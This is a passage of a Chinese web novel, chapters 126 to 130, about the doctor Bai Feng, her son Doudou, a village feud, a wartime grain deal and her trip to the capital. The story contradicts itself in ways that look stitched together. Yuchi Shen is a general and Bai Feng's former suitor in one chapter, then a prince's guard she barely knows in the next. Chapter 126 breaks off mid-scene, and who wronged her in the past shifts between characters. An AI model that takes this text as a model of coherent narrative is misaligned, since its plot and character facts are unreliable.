“你来干什么?”白凤冷着脸问。 “救你。”尉迟深说,“李铁柱来找我,说你被抓了。” 白凤没说话。 尉迟深转身,对身后的士兵说:“把人放了。” 士兵们立刻上前,打开了牢门。乐乐、来财和福球也被放了出来。 白凤走出牢房,活动了一下僵硬的身体。 “县太爷呢?”她问。 “在大堂。”尉迟深说,“走,我带你去。” 大堂上,县太爷和师爷跪在地上,脸色煞白。 “尉迟将军,这是误会,都是误会!”县太爷哆嗦着说。 “误会?”尉迟深冷笑,“你随便抓人,还说是误会?” “小人不知道白大夫是将军的人,小人该死,小人该死!”县太爷不停地磕头。 白凤站在一旁,冷眼看着这一幕。 “白大夫。”尉迟深转过身,“你想怎么处置他们?” 白凤看了看县太爷,又看了看师爷,缓缓开口:“县太爷贪赃枉法,师爷助纣为虐,按律当革职查办。” “好。”尉迟深点点头,对身后的士兵说,“把他们押下去,送到府衙。” 县太爷和师爷被押走了,师爷临走前还回头看了白凤一眼,眼里满是怨恨。 白凤没理他,转身走出了县衙。 外面,豆豆正在李铁柱的妻子怀里哭。看见白凤出来,他立刻挣脱开,跑了过来。 “娘!”豆豆扑进白凤怀里,“我还以为再也见不到你了!” “傻孩子。”白凤抱着儿子,眼眶有些发热,“娘不会丢下你的。” 乐乐、来财和福球也围了上来,白凤一一摸了摸它们的头。 “白大夫。”李铁柱走过来,“多亏了尉迟将军,不然我也没办法救你。” “谢谢。”白凤说。 “应该的。”李铁柱憨厚地笑了笑。 尉迟深站在一旁,看着白凤和豆豆,眼里闪过一丝复杂的情绪。 “白凤。”他开口道。 “有事?”白凤抬起头。 “你……”尉迟深顿了顿,“算了,没事。” 白凤没再问,抱着豆豆转身离开了。 回到家,白凤才发现院子里一片狼藉。看来那些衙役来抓她的时候,把家里翻了个底朝天。 “娘,我们的家……”豆豆看着乱糟糟的院子,眼泪又掉了下来。 “没事,收拾收拾就好了。”白凤说。 她放下豆豆,开始收拾院子。乐乐和来财也帮忙,叼着散落的东西往屋里搬。 正忙着,院门又被敲响了。 白凤皱起眉头,打开门,门外站着童大山。 “表妹。”童大山脸上堆着笑,“听说你出事了,我特地来看看。” “不用。”白凤冷着脸,“你走吧。” “哎,别这么绝情嘛。”童大山说,“我这次来,是有正事的。” “什么正事?”白凤问。 “你爹留下的那处宅子,你还记得吧?”童大山说,“当年你娘病重,你把宅子抵给了我。现在你日子好过了,我想着把宅子还给你。” 白凤愣了一下。 那处宅子是她爹生前最喜欢的地方,位置好,院子也大。当年为了给娘治病,她不得已才抵出去的。 “你想要什么?”白凤问。 “不要什么。”童大山说,“就是想着,咱们毕竟是亲戚,以前的事就算了,以后好好相处。” 白凤看着他,心里冷笑。童大山什么时候这么好心了?肯定有鬼。 “行,我要宅子。”白凤说,“不过咱们得写文书,免得以后你反悔。” “当然,当然。”童大山连连点头。 第二天,白凤和童大山去了镇上的牙行,写了文书,按了手印。 拿到宅契,白凤心里松了口气。不管童大山打的什么主意,至少宅子是拿回来了。 她带着豆豆去看了宅子。宅子虽然荒废了几年,但收拾收拾还能住。 “娘,这房子好大!”豆豆兴奋地在院子里跑来跑去。 “是啊。”白凤看着院子,心里涌起一股暖意。 她决定把现在住的小院子留着,专门用来养那些被人遗弃的动物。 这些年,她救过不少受伤的动物,有些伤好了就放走了,有些却无处可去。她想着,不如给它们一个家。 说干就干,白凤开始收拾小院子。她把院子分成几个区域,分别养不同的动物。 没过几天,院子里就热闹起来了。 除了乐乐、来财和福球,还来了几只流浪狗、两只受伤的野猫、一只断了翅膀的鹰,甚至还有一只不知道从哪里跑来的小鹿。 这些动物聚在一起,问题就来了。 狗和猫天生不对付,见面就打。鹰看不起地上跑的,总是高高在上的样子。小鹿胆子小,动不动就被吓得乱跑。 白凤头疼得不行。 这天,她正在院子里喂食,就听见一阵鸡飞狗跳的声音。 回头一看,乐乐正追着一只野猫满院子跑,来财在屋檐上看热闹,那只鹰站在树枝上,用鄙夷的眼神看着下面的混乱。 “都给我停下!”白凤喊了一声。 动物们立刻安静下来,乖乖地蹲在原地。 “你们能不能消停点?”白凤揉着太阳穴,“再这么闹下去,我就把你们都赶出去!” 乐乐委屈地呜呜叫了两声,那只野猫也喵喵地叫着,好像在解释什么。 白凤叹了口气。这些家伙,一个个都是戏精。 “行了行了,都去吃饭吧。”她摆摆手。 动物们一哄而散,各自找地方吃东西去了。 豆豆站在一旁,看得津津有味:“娘,它们好有意思。” “有意思?”白凤没好气地说,“有意思你来管?” “好啊!”豆豆眼睛一亮,“我可以帮娘管它们!” 第126章 生意越来越好 白凤看着儿子兴奋的样子,心里软了下来:“行,那你就帮娘看着点,别让它们打架。” “嗯!”豆豆用力点头。 日子就这么一天天过去。白凤在新宅子里住下,每天去小院子看看那些动物,顺便在镇上摆摊卖药。 生意越来越好,她的名声也越来越响。 可是尉迟深却没有离开。 他在镇上住了下来,时不时就来找白凤。 这天,白凤正在院子里晒药材,尉迟深又来了。 “你怎么还不走?”白凤头也不抬地问。 “我想留下来。”尉迟深说。 “留下来干什么?”白凤冷笑,“监视我?” “不是。”尉迟深走到她面前,“白凤,我知道你对我有误会。” “误会?”白凤抬起头,眼里满是讽刺,“你觉得是误会?” “当年的事……”尉迟深顿了顿,“不是你想的那样。” “那是怎样?”白凤问。 尉迟深沉默了一会儿,缓缓开口:“当年我确实要娶你,但是被家里阻止了。他们说你出身不好,配不上我。” “所以你就听他们的?”白凤冷笑。 “我没有。”尉迟深说,“我去找过你,但是你已经离开了京城。后来我听说你嫁人了,还生了孩子,我以为……” “你以为什么?”白凤打断他,“以为我过得很好,所以就不用管了?” “不是。”尉迟深说,“我以为你已经有了新的生活,我不该再打扰你。” 白凤看着他,心里五味杂陈。 “尉迟深,你知道吗?”她说,“当年我等了你很久,可是你没来。后来我才知道,你根本就没打算来。” “我……”尉迟深想说什么,却被白凤打断了。 “够了。”白凤说,“过去的事就过去了,我不想再提。你走吧,我不想看见你。” “白凤……” “走!”白凤的声音提高了。 尉迟深看着她,最终还是转身离开了。 白凤看着他的背影,心里却没有半点轻松。 她以为自己已经放下了,可是看见他,那些记忆又涌了上来。 “娘。”豆豆不知道什么时候走了过来,“你怎么了?” “没事。”白凤蹲下身,抱住儿子,“娘没事。” 豆豆歪着头看着她,小手摸了摸她的脸:“娘,你哭了。” 白凤愣了一下,伸手一摸,脸上果然湿了。 “傻孩子。”她笑了笑,“娘没哭,是风吹的。” “哦。”豆豆似懂非懂地点点头。 晚上,白凤躺在床上,翻来覆去睡不着。 尉迟深的话在她脑海里回荡。 他说当年被家里阻止了,他说他去找过她,他说他以为她过得很好…… 可是这些,又有什么用呢? 过去的就是过去了,再怎么解释,也改变不了什么。 白凤闭上眼睛,强迫自己不要再想。 第二天一早,她照常去镇上摆摊。 刚摆好摊子,就看见沈冬梅挺着大肚子走了过来。 “白凤。”沈冬梅的脸色不太好,“我有话跟你说。” “说。”白凤冷淡地说。 “我知道是我爹让师爷去害你的。”沈冬梅咬着牙,“但是那不关我的事。” “哦。”白凤说,“然后呢?” “师爷跑了。”沈冬梅说,“他把我丢下,自己跑了。” 白凤挑了挑眉:“所以?” “所以我现在一个人,还怀着孩子。”沈冬梅的眼圈红了,“白凤,我知道以前是我不对,但是看在我肚子里的孩子份上,你能不能帮帮我?” 白凤看着她,心里冷笑。 沈冬梅这是走投无路了,才来找她。 “我为什么要帮你?”白凤问。 “因为……因为我们是表姐妹。”沈冬梅说。 “表姐妹?”白凤冷笑,“当年你们欺负我的时候,怎么没想起我们是表姐妹?” “我……”沈冬梅说不出话来。 “走吧。”白凤说,“我帮不了你。” “白凤!”沈冬梅急了,“你就这么狠心?” “狠心?”白凤站起身,“当年你们对我的时候,怎么不说狠心?” 沈冬梅张了张嘴,最终什么也没说,转身离开了。 白凤看着她的背影,心里没有半点波澜。 有些人,就是活该。 沈冬梅走后,白凤继续给人看病。镇上的人越来越信任她,有什么头疼脑热的,都来找她。 中午时分,李铁柱的妻子提着篮子过来了。 “白大夫,这是我家男人让我送来的。”她把篮子放在摊位上,“都是些山货,不值什么钱,您别嫌弃。” 白凤打开篮子,里面装着野蘑菇、山鸡蛋,还有几块腊肉。 “太客气了。”白凤说,“上次的事我都忘了。” “那怎么行。”李铁柱的妻子说,“要不是您,我家男人早就没了。这点东西算什么,您一定要收下。” 白凤推辞不过,只好收下了。 “对了。”李铁柱的妻子压低声音,“我听说尉迟将军还在镇上,您和他……” “没什么。”白凤打断她,“别乱说。” “哎,我就是随口问问。”李铁柱的妻子笑了笑,“不过尉迟将军对您确实不一样,我家男人说,将军这次留下来,就是为了您。” 白凤没接话。 李铁柱的妻子又说了几句,就告辞离开了。 白凤收了摊,带着篮子回家。路上,她看见尉迟深站在街角,正看着她。 两人的目光在空中相遇,白凤移开视线,加快脚步走了。 回到家,豆豆正在院子里和乐乐玩。看见白凤回来,他立刻跑了过来。 “娘,你回来啦!”豆豆说,“今天有好多动物来了!” “什么动物?”白凤问。 “有小兔子,还有一只小猪!”豆豆兴奋地说,“它们都好可爱!” 白凤走进小院子,果然看见角落里多了一只灰兔子和一只小黑猪。 “哪来的?”她问。 “是镇上的王婶送来的。”豆豆说,“她说养不了了,想让娘帮忙照顾。” 白凤叹了口气。这院子里的动物越来越多,她都快成动物园了。 不过既然来了,就留下吧。 她走过去,检查了一下兔子和小猪的情况。兔子还好,就是有点瘦。小猪倒是挺健康的,就是太能吃了。 “豆豆,你去喂它们点东西。”白凤说。 “好!”豆豆屁颠屁颠地跑去拿食物了。 白凤站在院子里,看着这些动物,心里涌起一股暖意。 虽然照顾它们很麻烦,但是看着它们一个个活蹦乱跳的样子,她觉得一切都值得。 正想着,院门又被敲响了。 白凤走过去开门,门外站着童大山,脸色很不好看。 “表妹,我有事找你。”童大山说。 “什么事?”白凤问。 “是冬梅。”童大山叹了口气,“她现在一个人,日子过得很艰难。你能不能帮帮她?” “我已经拒绝过她了。”白凤说。 “我知道,我知道。” 第127章 打发走了 白凤关上门后,心跳得厉害。 她靠在门板上,手心全是汗。徽臻王那边不会善罢甘休,这点她很清楚。可她也不是任人摆布的性子,真要逼急了,大不了带着豆豆躲到深山老林去。 “娘,那个叔叔又来了?”豆豆从屋里探出头。 “没事,娘打发走了。”白凤整理了下情绪,走过去摸摸儿子的头,“睡吧,明天还要早起呢。” 豆豆乖巧地点头,钻回被窝。 白凤躺在床上,翻来覆去睡不着。脑子里乱糟糟的,全是徽臻王那张脸。说实话,那人长得确实不错,可惜心思太深,她看不透。 第二天一早,白凤照常去镇上卖药。 这段时间她的生意越来越好,镇上的人都知道白家有个会看病的姑娘,药到病除。有些小病小痛的,都爱来找她。 “白姑娘,你看看我这腿,昨天摔了一跤,现在疼得厉害。”一个大婶挽起裤腿给她看。 白凤仔细检查了下:“骨头没事,就是淤血堵住了。我给你开点活血化瘀的药,敷上三天就好。” “哎呀,那可太好了!”大婶千恩万谢地走了。 白凤正忙着,突然听到外面一阵喧哗。 “出事了!王婆子家的二丫头不行了!” 白凤心里一紧,抓起药箱就往外跑。 王婆子家住在镇东头,白凤赶到时,屋里已经围了一圈人。王婆子坐在地上嚎啕大哭,她家二丫头躺在床上,脸色青紫,气息微弱。 “让开让开!”白凤挤进去,蹲下身查看。 二丫头是吃了不干净的东西,上吐下泻,现在已经脱水严重。白凤立刻拿出银针,在几个穴位上扎了几针,又灌了点药汤进去。 折腾了半个时辰,二丫头总算缓过来了。 王婆子抹着眼泪:“白姑娘,多亏你了!” “没事,以后注意点,别让孩子乱吃东西。”白凤收拾好药箱,准备离开。 谁知道刚走到门口,就听到王婆子的大女儿尖叫一声:“不好了!三妹也不行了!” 白凤转身冲回去。 三丫头的情况比二丫头还严重,整个人已经昏迷不醒。白凤用尽了所有办法,扎针、灌药、按摩,可三丫头还是没能醒过来。 天快黑的时候,三丫头咽了气。 王婆子当场就疯了,抓着白凤的衣服不放:“你还我女儿!你还我女儿!” “王婆子,你冷静点!”白凤挣脱开,“我已经尽力了,三丫头的情况太严重,我也没办法。” “你就是没用心!你就是故意的!”王婆子越说越离谱,“我听说了,你跟那个什么王爷有关系,是不是看不起我们这些穷人?” 白凤气得脸都白了:“你这是什么话?我什么时候看不起你们了?” “你还狡辩!”王婆子指着她的鼻子骂,“我二丫头好了,三丫头却死了,你说你是不是故意的?” 围观的人开始窃窃私语。 白凤知道,这种时候越解释越说不清。她深吸一口气,转身就走。 “你站住!”王婆子追上来,一把扯住她的衣服,“你不给我个说法,今天就别想走!” 白凤正要发火,突然听到一个冷冷的声音:“放手。” 众人回头一看,一个身穿黑色劲装的男人站在门口。他身材高大,面容冷峻,浑身散发着生人勿近的气息。 王婆子被吓了一跳,手一松。 男人走到白凤身边:“没事吧?” 白凤愣了下,认出这是徽臻王身边的侍卫,叫尉迟深。上次来送信的就是他。 “我没事。”白凤说。 尉迟深转头看向王婆子:“你女儿的死,跟白姑娘无关。她已经尽力了,你要是再纠缠,别怪我不客气。” 王婆子被他的气势震住,嘴巴张了张,没敢再说话。 尉迟深护着白凤离开。 走出一段路,白凤停下脚步:“你怎么来了?” “王爷让我暗中保护你。”尉迟深说,“他担心有人会对你不利。” 白凤冷笑:“他倒是挺会做好人。” 尉迟深没接话,只是说:“王婆子那边,我会处理。你不用担心。” “不用。”白凤说,“我自己能解决。” 尉迟深看了她一眼,没再坚持。 回到家,白凤把今天的事跟徐禄生说了。 徐禄生皱眉:“王婆子这是要讹你啊。” “我知道。”白凤说,“可我确实没救回三丫头,她要是到处说,我的名声就毁了。” “那怎么办?” 白凤想了想:“我去找镇上的几个老大夫,让他们帮我作证。” 第二天,白凤找到了镇上最有名的几个大夫,把三丫头的情况详细说了一遍。几个大夫听完,都摇头叹气。 “白姑娘,你已经做得很好了。”一个老大夫说,“三丫头那种情况,就算是华佗在世,也救不回来。” “对,王婆子这是无理取闹。”另一个大夫说,“我们可以帮你作证。” 有了几个大夫的支持,白凤心里踏实多了。 可王婆子那边却越闹越凶。她逢人就说白凤医术不精,害死了她女儿。镇上的人开始议论纷纷,有些人甚至不敢再来找白凤看病。 白凤的生意一下子冷清了。 豆豆看在眼里,急在心里:“娘,那个王婆子太坏了!” “没事,娘有办法。”白凤摸摸他的头。 就在这时,尉迟深又来了。 “王爷让我转告你,他可以帮你解决这件事。”尉迟深说。 “不用。”白凤拒绝得很干脆,“我自己能处理。” 尉迟深沉默了一会儿:“你知道吗,王婆子的大女儿也病了。” 白凤一愣:“什么?” “跟二丫头、三丫头一样的症状。”尉迟深说,“王婆子现在正到处找大夫,可没人敢去。” 白凤咬了咬牙:“我去。” “你确定?”尉迟深问,“她现在恨不得把你撕了。” “正因为这样,我才要去。”白凤说,“我要让所有人看看,我白凤不是那种见死不救的人。” 尉迟深看着她,眼神里闪过一丝欣赏。 白凤提着药箱,直奔王婆子家。 王婆子看到她,先是一愣,然后就要赶人:“你还敢来?滚!我不要你救!” “你不要,你女儿要。”白凤推开她,走到床边。 大丫头的情况确实很严重,跟三丫头当时差不多。白凤没有犹豫,立刻开始施救。 王婆子站在一旁,眼睛死死盯着她,生怕她做什么手脚。 白凤顾不上那么多,全神贯注地救人。扎针、灌药、按摩,每一步都做得仔细认真。 时间一分一秒过去。 终于,大丫头的脸色开始好转,呼吸也平稳了。 王婆子扑过去,抱着女儿哭:“大丫!大丫!” 大丫头虚弱地睁开眼:“娘……” 王婆子哭得更凶了。 白凤收拾好药箱,准备离开。 第128章 对不起,是我错了 “等等。”王婆子叫住她。 白凤回头。 王婆子跪了下来:“白姑娘,对不起,是我错了。” “你起来。”白凤说,“我不怪你。” “不,我要跪。”王婆子磕了个头,“我不该那样说你,是我糊涂,是我混账。” 白凤叹了口气,把她扶起来:“三丫头的事,我也很难过。但我真的尽力了。” “我知道,我都知道。”王婆子抹着眼泪,“是我太伤心了,说了胡话。白姑娘,你大人不记小人过,原谅我这一回吧。” 白凤点点头:“好了,你照顾大丫头吧。我开的药,记得按时吃。” 走出王婆子家,白凤长长地舒了口气。 尉迟深不知道什么时候站在了门口:“你做得很好。” “谢谢。”白凤说。 “王爷说得对,你确实是个善良的人。”尉迟深说。 白凤没接话,转身往家走。 尉迟深跟在她身后:“白姑娘,王爷真的没有恶意。他只是……” “只是什么?”白凤停下脚步。 尉迟深犹豫了一下:“只是想弥补当年的过错。” 白凤冷笑:“弥补?他以为给点银子,派个人保护我,就能弥补了?” “他知道这些不够。”尉迟深说,“所以他想见你,当面跟你道歉。” “不必了。”白凤说,“告诉他,我这辈子都不想见到他。” 说完,她头也不回地走了。 尉迟深站在原地,看着她的背影,叹了口气。 回到家,豆豆扑过来:“娘,你回来了!” “嗯。”白凤抱起儿子,“饿了吧?娘给你做好吃的。” “好!”豆豆高兴地拍手。 晚上,白凤做了一桌子菜。豆豆吃得满嘴流油,乐乐和来财也分到了不少肉。 徐禄生端着碗,笑呵呵地说:“白姑娘,今天王婆子那事,镇上都传遍了。大家都说你心善,医术又好。” “是吗?”白凤夹了块肉给豆豆。 “可不是。”徐禄生说,“刚才还有好几个人来问,说明天要来找你看病呢。” 白凤笑了:“那就好。” 吃完饭,白凤坐在院子里,看着天上的星星。 豆豆靠在她怀里,小手指着天上:“娘,那颗星星好亮。” “是啊。”白凤说,“那是北斗星,能指引方向。” “娘,我们以后会一直在一起吗?”豆豆突然问。 白凤愣了下,紧紧抱住儿子:“会的,娘保证。” 豆豆满意地笑了,闭上眼睛。 白凤看着怀里的孩子,心里五味杂陈。她不知道徽臻王那边还会搞什么花样,但她知道,无论如何,她都要保护好豆豆。 这是她唯一的亲人,也是她活下去的理由。 王婆子的事解决后,白凤的名声反倒更好了。 镇上的人都说,白姑娘不仅医术高明,心地还善良。连那么对她的王婆子,她都能既往不咎,还救了人家女儿。 白凤的药摊前,每天都排着长队。 “白姑娘,你看看我这咳嗽,都半个月了。” “白姑娘,我家孩子发烧,你给瞧瞧。” “白姑娘……” 白凤忙得脚不沾地,但心里挺高兴。这说明大家信任她,这比什么都重要。 这天中午,白凤正准备收摊回家,尉迟深又出现了。 “白姑娘。”他叫住她。 白凤头都没抬:“有事?” “王爷想请你去府上坐坐。”尉迟深说。 “不去。”白凤收拾东西。 “王爷说,他有重要的事要跟你商量。” “什么事?” “关于边关的。”尉迟深压低声音,“最近边关不太平,王爷担心会影响到这边。” 白凤手上动作一顿。 边关不太平?这可不是小事。她虽然不关心朝廷的事,但边关要是出了问题,老百姓就要遭殃。 “什么时候?”白凤问。 “现在就可以。”尉迟深说。 白凤犹豫了一下,点点头:“好,我跟你去。” 尉迟深带着她,来到镇外的一座宅子。 宅子不大,但很精致。院子里种着几棵树,还有个小池塘,养着几条锦鲤。 徽臻王站在池塘边,背对着她们。 听到脚步声,他转过身。 白凤看清他的脸,心里一跳。 这人长得真好看。剑眉星目,鼻梁挺直,薄唇微抿。身上穿着一件月白色的长袍,整个人看起来清贵又疏离。 “白姑娘,好久不见。”徽臻王开口,声音低沉磁性。 白凤收回目光:“王爷找我有事?” “请坐。”徽臻王指了指旁边的石凳。 白凤坐下,直接问:“你说边关不太平,到底怎么回事?” 徽臻王也坐下,给她倒了杯茶:“最近边关频繁有小股敌军骚扰,虽然都被击退了,但朝廷怀疑,这背后可能有人在搞鬼。” “什么人?” “不知道。”徽臻王说,“但可以肯定的是,有人想利用边关的混乱,从中牟利。” 白凤皱眉:“牟利?怎么牟利?” “很简单。”徽臻王说,“边关一乱,朝廷就要调拨粮草、兵器。这中间的油水,可不少。” 白凤明白了。 这是有人想发国难财。 “你告诉我这些,是想让我做什么?”白凤问。 “我想请你帮个忙。”徽臻王说,“你在镇上人缘好,消息灵通。如果有什么异常,希望你能告诉我。” 白凤想了想:“可以。但我有个条件。” “你说。” “以后不要再派人跟着我。”白凤说,“我不喜欢被人监视。” 徽臻王笑了:“好,我答应你。” 白凤站起来:“那我走了。” “等等。”徽臻王叫住她,“关于豆豆……” “不用说了。”白凤打断他,“豆豆是我儿子,跟你没关系。” “可他毕竟是我的……” “他不是!”白凤声音提高了,“他是我一个人的孩子,跟你没有任何关系!” 徽臻王沉默了。 白凤转身就走。 尉迟深送她出门,欲言又止。 “有话就说。”白凤说。 “王爷其实……”尉迟深顿了顿,“他这些年一直在找你。” “找我干什么?”白凤冷笑,“当年他不是嫌我配不上他吗?” “不是这样的。”尉迟深说,“当年的事,另有隐情。” “我不想听。”白凤说,“过去的事就让它过去吧。” 回到家,豆豆正在院子里玩。 看到娘回来,他高兴地跑过来:“娘,你回来了!” “嗯。”白凤抱起儿子,“豆豆乖不乖?” “乖!”豆豆说,“我今天帮徐爷爷喂鸡了!” “真棒。”白凤亲了亲他的额头。 晚上,白凤躺在床上,想着徽臻王说的话。 边关有人搞鬼,想发国难财。这种事她见得多了,前世她就是因为这个,才会家破人亡。 不行,她得想个办法。 既然有人想发国难财,那她就抢在前面,把这笔钱赚了。 白凤坐起来,点上灯,开始盘算。 第129章 价格好商量 边关一乱,最缺的就是粮食和药材。如果她能提前囤积这些东西,到时候卖给朝廷,不仅能赚一大笔,还能帮到边关的将士。 一举两得。 第二天,白凤就开始行动。 她先去了镇上最大的粮店,跟掌柜的谈了一笔大生意。 “白姑娘,你要这么多粮食干什么?”掌柜的很惊讶。 “我有用。”白凤说,“你只管告诉我,能不能供货。” “能是能,但这么大的量,得提前准备。”掌柜的说。 “没问题。”白凤说,“我给你一个月时间。” 谈完粮食,白凤又去了药材铺。 药材铺的老板姓孙,是个精明的商人。听说白凤要大量收购药材,他眼睛都亮了。 “白姑娘,你这是要做大生意啊。”孙老板笑呵呵地说。 “孙老板,我就直说了。”白凤说,“我要的药材,都是治疗外伤的。你能不能供货?” 孙老板想了想:“能,但价格……” “价格好商量。”白凤说,“但我有个要求,必须保证质量。” “那是自然。”孙老板说,“我孙某人做生意,从来不掺假。” 谈妥了粮食和药材,白凤又去找了几个相熟的商人,把能想到的东西都安排上了。 徐禄生看着她忙进忙出,忍不住问:“白姑娘,你这是要干什么?” “做生意。”白凤说。 “做生意?”徐禄生不解,“你囤这么多东西,卖给谁?” “到时候你就知道了。”白凤神秘一笑。 接下来的日子,白凤一边看病,一边忙着囤货。 她把赚来的银子全都投了进去,甚至还借了一些。徐禄生看得心惊肉跳,生怕她赔了。 “白姑娘,你可想好了。”徐禄生说,“这要是赔了,可就血本无归了。” “不会赔的。”白凤很有信心。 果然,没过多久,边关就传来消息。 敌军大举进攻,边关告急。 朝廷紧急调拨粮草和药材,可一时半会儿根本凑不齐。 就在这时,白凤站了出来。 她找到尉迟深,说自己手里有大量的粮食和药材,可以卖给朝廷。 尉迟深大喜,立刻禀报给徽臻王。 徽臻王亲自来见白凤。 “白姑娘,你真是帮了大忙。”徽臻王说。 “我也是为了边关的将士。”白凤说,“不过王爷,我有个条件。” “你说。” “我要的价格,比市价高两成。”白凤说。 徽臻王愣了下,然后笑了:“好,我答应你。” 就这样,白凤赚了一大笔银子。 不仅如此,她还因为这件事,得到了朝廷的嘉奖。皇帝亲自下旨,赐她“义商”的称号。 镇上的人都羡慕得不行。 “白姑娘真是厉害,这么大的生意都敢做。” “可不是,人家现在可是朝廷认可的义商了。” “听说皇帝还赏了不少东西呢。” 白凤听着这些议论,心里美滋滋的。 这笔银子,够她和豆豆过上好日子了。 晚上,白凤数着银票,越数越高兴。 豆豆趴在桌边,好奇地问:“娘,这些是什么?” “银票。”白凤说,“有了这些,豆豆以后就能上最好的学堂,穿最好的衣服,吃最好的东西。” “我不要最好的。”豆豆说,“我只要娘。” 白凤鼻子一酸,把儿子抱进怀里:“傻孩子。” 就在这时,院门被敲响了。 白凤打开门,尉迟深站在门外。 “白姑娘,王爷想见你。”尉迟深说。 “又有什么事?”白凤问。 “王爷说,想当面谢谢你。”尉迟深说。 白凤想了想,点点头:“好,我跟你去。” 来到宅子,徽臻王正在院子里等她。 “白姑娘。”他笑着说,“这次多亏了你。” “举手之劳。”白凤说。 “不,这不是举手之劳。”徽臻王说,“你不仅帮了朝廷,还帮了边关的将士。这份恩情,我记下了。” 白凤没说话。 徽臻王看着她,突然说:“白姑娘,你知道吗,这些年我一直在找你。” “找我干什么?”白凤问。 “因为……”徽臻王顿了顿,“因为我欠你一个道歉。” “道歉?”白凤冷笑,“王爷,你觉得一句道歉就够了吗?” “我知道不够。”徽臻王说,“所以我想用一辈子来弥补。” 白凤愣住了。 徽臻王走近一步:“白姑娘,我知道当年的事伤害了你。但我想告诉你,那不是我的本意。” “不是你的本意?”白凤声音发抖,“那是谁的本意?是谁让我被赶出家门?是谁让我一个人带着孩子流落街头?” “是我。”徽臻王说,“都是我的错。” 白凤转过身,不想让他看到自己的眼泪。 “白姑娘,给我一个机会好吗?”徽臻王说,“让我弥补当年的过错。” “不必了。”白凤说,“我现在过得很好,不需要你的弥补。” 说完,她头也不回地走了。 尉迟深追上来:“白姑娘……” “不用说了。”白凤说,“我知道你想说什么。但有些事,不是说弥补就能弥补的。” 尉迟深叹了口气,没再说话。 回到家,白凤抱着豆豆,哭了很久。 她以为自己已经放下了,可今天徽臻王的话,又把那些伤疤揭开了。 那些痛苦的回忆,像潮水一样涌来,让她喘不过气。 豆豆不知道发生了什么,只是乖乖地陪着娘。 “娘,你怎么了?”豆豆小声问。 “没事。”白凤擦干眼泪,勉强笑了笑,“娘只是太高兴了。” “真的吗?”豆豆不太相信。 “真的。”白凤说,“娘赚了好多银子,以后豆豆就能过上好日子了。” 豆豆笑了:“那太好了!” 白凤看着儿子天真的笑脸,心里暖暖的。 是啊,她还有豆豆。只要有豆豆在,她就什么都不怕。 至于徽臻王,就让他留在过去吧。 白凤这段时间忙得脚不沾地。 边关的生意做完后,她手里的银子多了不少。她盘算着,是时候给豆豆找个好学堂了。 可还没等她行动,尉迟深又来了。 这次他来,不是为了徽臻王,而是为了豆豆。 “白姑娘,王爷想见见豆豆。”尉迟深说。 “不行。”白凤想都没想就拒绝了。 “白姑娘,豆豆毕竟是王爷的……” “他不是!”白凤打断他,“我说了多少次了,豆豆跟他没关系!” 尉迟深无奈地叹了口气。 这段时间,他跟白凤接触得多了,对她也有了更多的了解。这个女人表面上冷冷的,其实心地很善良。她对豆豆的爱,更是让人动容。 “白姑娘,王爷真的很想见豆豆。”尉迟深说,“就见一面,行吗?” 白凤沉默了。 说实话,她也不知道该怎么办。豆豆总有一天会知道真相,到那时,她该怎么跟孩子解释? “我考虑考虑。”白凤最后说。 尉迟深点点头,转身离开。 可他没走远,而是留在了镇上。 白凤知道他在,但也没说什么。 第130章 你脸色不好看 白凤关上门后,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才那个叔叔又来了?” “没事。”白凤蹲下来,摸摸他的头,“豆豆乖,回屋睡觉。” “可是娘,你脸色不好看。”豆豆仰着小脸,眼里满是担忧。 白凤勉强笑了笑:“娘没事,就是有点累。” 把豆豆哄睡后,白凤坐在床边,脑子里乱成一团。徽臻王那边不会善罢甘休,她得想个办法。 第二天一早,白凤去找徐禄生商量。 徐禄生听完,皱起眉头:“白姑娘,这事不好办啊。徽臻王要是真来了,咱们拦不住。” “我知道。”白凤咬着唇,“所以我想先离开这里,找个地方躲一躲。” “躲?”徐禄生摇头,“躲得了一时,躲不了一世。” 白凤沉默了。 徐禄生想了想,说:“要不,你去京城吧。” “什么?”白凤以为自己听错了。 “我是说,你主动去京城。”徐禄生说,“但不是去见徽臻王,而是去查你爹娘的事。” 白凤愣住了。 徐禄生继续说:“你爹娘当年被贬,肯定有冤情。你与其在这里躲着,不如去京城查清楚。说不定还能翻案。” 白凤心里一动。 对啊,她怎么没想到这个? 原主的记忆里,爹娘确实是被冤枉的。当年爹爹在朝中做官,为人正直,得罪了不少人。后来被人陷害,说他贪污受贿,全家被贬到这穷乡僻壤。 爹娘受不了打击,相继病逝。 白凤一直以为这事没法翻案,毕竟时间过去太久了。但现在想想,既然徽臻王要她进京,不如顺水推舟,去查个清楚。 “你说得对。”白凤站起来,“我去京城。” 徐禄生松了口气:“这就对了。不过你得小心,京城水深,别被人算计了。” “我会的。” 白凤回到家,开始收拾东西。 豆豆看见了,跑过来问:“娘,咱们要去哪?” “去京城。”白凤说。 “京城?”豆豆眼睛一亮,“是不是很大很热闹?” “嗯,很大。”白凤摸摸他的头,“不过豆豆要乖,不能乱跑。” “我会乖的!”豆豆用力点头。 白凤把家里值钱的东西都收拾好,又去跟徐禄生道别。 徐禄生给了她一些银子:“路上小心,有事就给我写信。” “谢谢徐叔。” 白凤带着豆豆和三只动物,坐上了去京城的马车。 马车颠簸了三天三夜,终于到了京城。 白凤掀开车帘,看着外面繁华的街道,心里五味杂陈。 京城确实比镇上热闹多了。街道宽阔,两边都是高大的建筑。来来往往的人穿着华丽,马车络绎不绝。 豆豆趴在窗边,眼睛都看直了:“娘,这里好大啊!” “嗯,很大。”白凤说,“豆豆记住了,在这里不能乱说话,知道吗?” “知道!” 白凤找了家客栈住下。客栈不大,但胜在干净。 安顿好后,白凤开始打听消息。 她先去了当年爹爹工作的衙门,想查查档案。但守门的小吏根本不让她进。 “去去去,什么人都能进来?”小吏挥着手,“这是朝廷重地,闲杂人等不得入内。” 白凤拿出几两银子:“小哥,我就是想查点东西,不会乱来的。” 小吏看了看银子,脸色缓和了些:“你要查什么?” “我爹当年在这里做官,我想看看他的档案。” “你爹叫什么?” “白景行。” 小吏脸色一变:“白景行?就是那个贪官?” 白凤心里一紧:“我爹不是贪官,他是被冤枉的。” “冤枉?”小吏冷笑,“当年证据确凿,怎么可能是冤枉的?你快走吧,别在这里闹事。” 白凤还想说什么,小吏已经把她推了出去。 白凤站在门外,咬着牙。 看来这条路走不通。 她又去了几个地方打听,但都没什么收获。京城的人对白家的事讳莫如深,要么不知道,要么不愿说。 白凤有些泄气。 晚上回到客栈,豆豆已经睡着了。白凤坐在床边,看着他熟睡的小脸,心里一阵酸涩。 她不能放弃。 